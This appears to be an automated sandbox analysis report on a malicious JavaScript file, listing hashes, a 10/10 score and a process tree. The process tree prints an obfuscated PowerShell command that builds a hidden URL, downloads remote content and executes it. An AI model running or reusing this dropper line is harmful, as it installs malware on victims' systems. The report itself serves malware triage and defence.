Analysis
-
max time kernel
121s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
21-12-2024 14:41
General
-
Target
d81306e6ceb01eb8ce8f48229946e4890fc15de6f71cd45fd312baf3d092e71f.js
-
Size
224KB
-
MD5
4e86d88b7afd215e816bffde3c8a2729
-
SHA1
f0535c49dccfda7f6dc4db4abd02a1336a90f3e6
-
SHA256
d81306e6ceb01eb8ce8f48229946e4890fc15de6f71cd45fd312baf3d092e71f
-
SHA512
3cf38808c708d0d9bddfaf1ae2d9483d3c6c1c424d00765b14038d814b67f0edb1aa22dd35d34f9d89f882bb096629a98cbec4b90ca3e08bb9fc1015a84a9a1a
-
SSDEEP
1536:nw2qEIyiGrVG3049NyTPl4QG/hVERDSwBDw2k5n72VG3049NyTPl4QG/hVEUDSws:nPrXqXM788XqXL78578GXqX6XqXO
Score
10/10
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Command and Scripting Interpreter: JavaScript 1 TTPs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\d81306e6ceb01eb8ce8f48229946e4890fc15de6f71cd45fd312baf3d092e71f.js1⤵
-
C:\Windows\system32\conhost.execonhost --headless powershell $zlycwjsmh='ur' ;new-alias printout c$($zlycwjsmh)l;$ibyqethwgzud=(5343,5354,5362,5346,5348,5343,5363,5362,5367,5300,5362,5296,5343,5291,5361,5356,5357,5292,5294,5291,5357,5349,5357,5308,5360,5306,5354,5350,5355,5361,5360,5295,5294);$fsclpir=('bronx','get-cmdlet');$geahiwumtnvx=$ibyqethwgzud;foreach($vqwioe in $geahiwumtnvx){$rzuhcmyegpjfl=$vqwioe;$bfarskmehny=$bfarskmehny+[char]($rzuhcmyegpjfl-5245);$byxgqaevuwdsco=$bfarskmehny; $aphviywjon=$byxgqaevuwdsco};$nvmiostbyp[2]=$aphviywjon;$gkilmexpwr='rl';$shevcurn=1;.$([char](9992-9887)+'e'+'x')(printout -useb $aphviywjon)1⤵
- Process spawned unexpected child process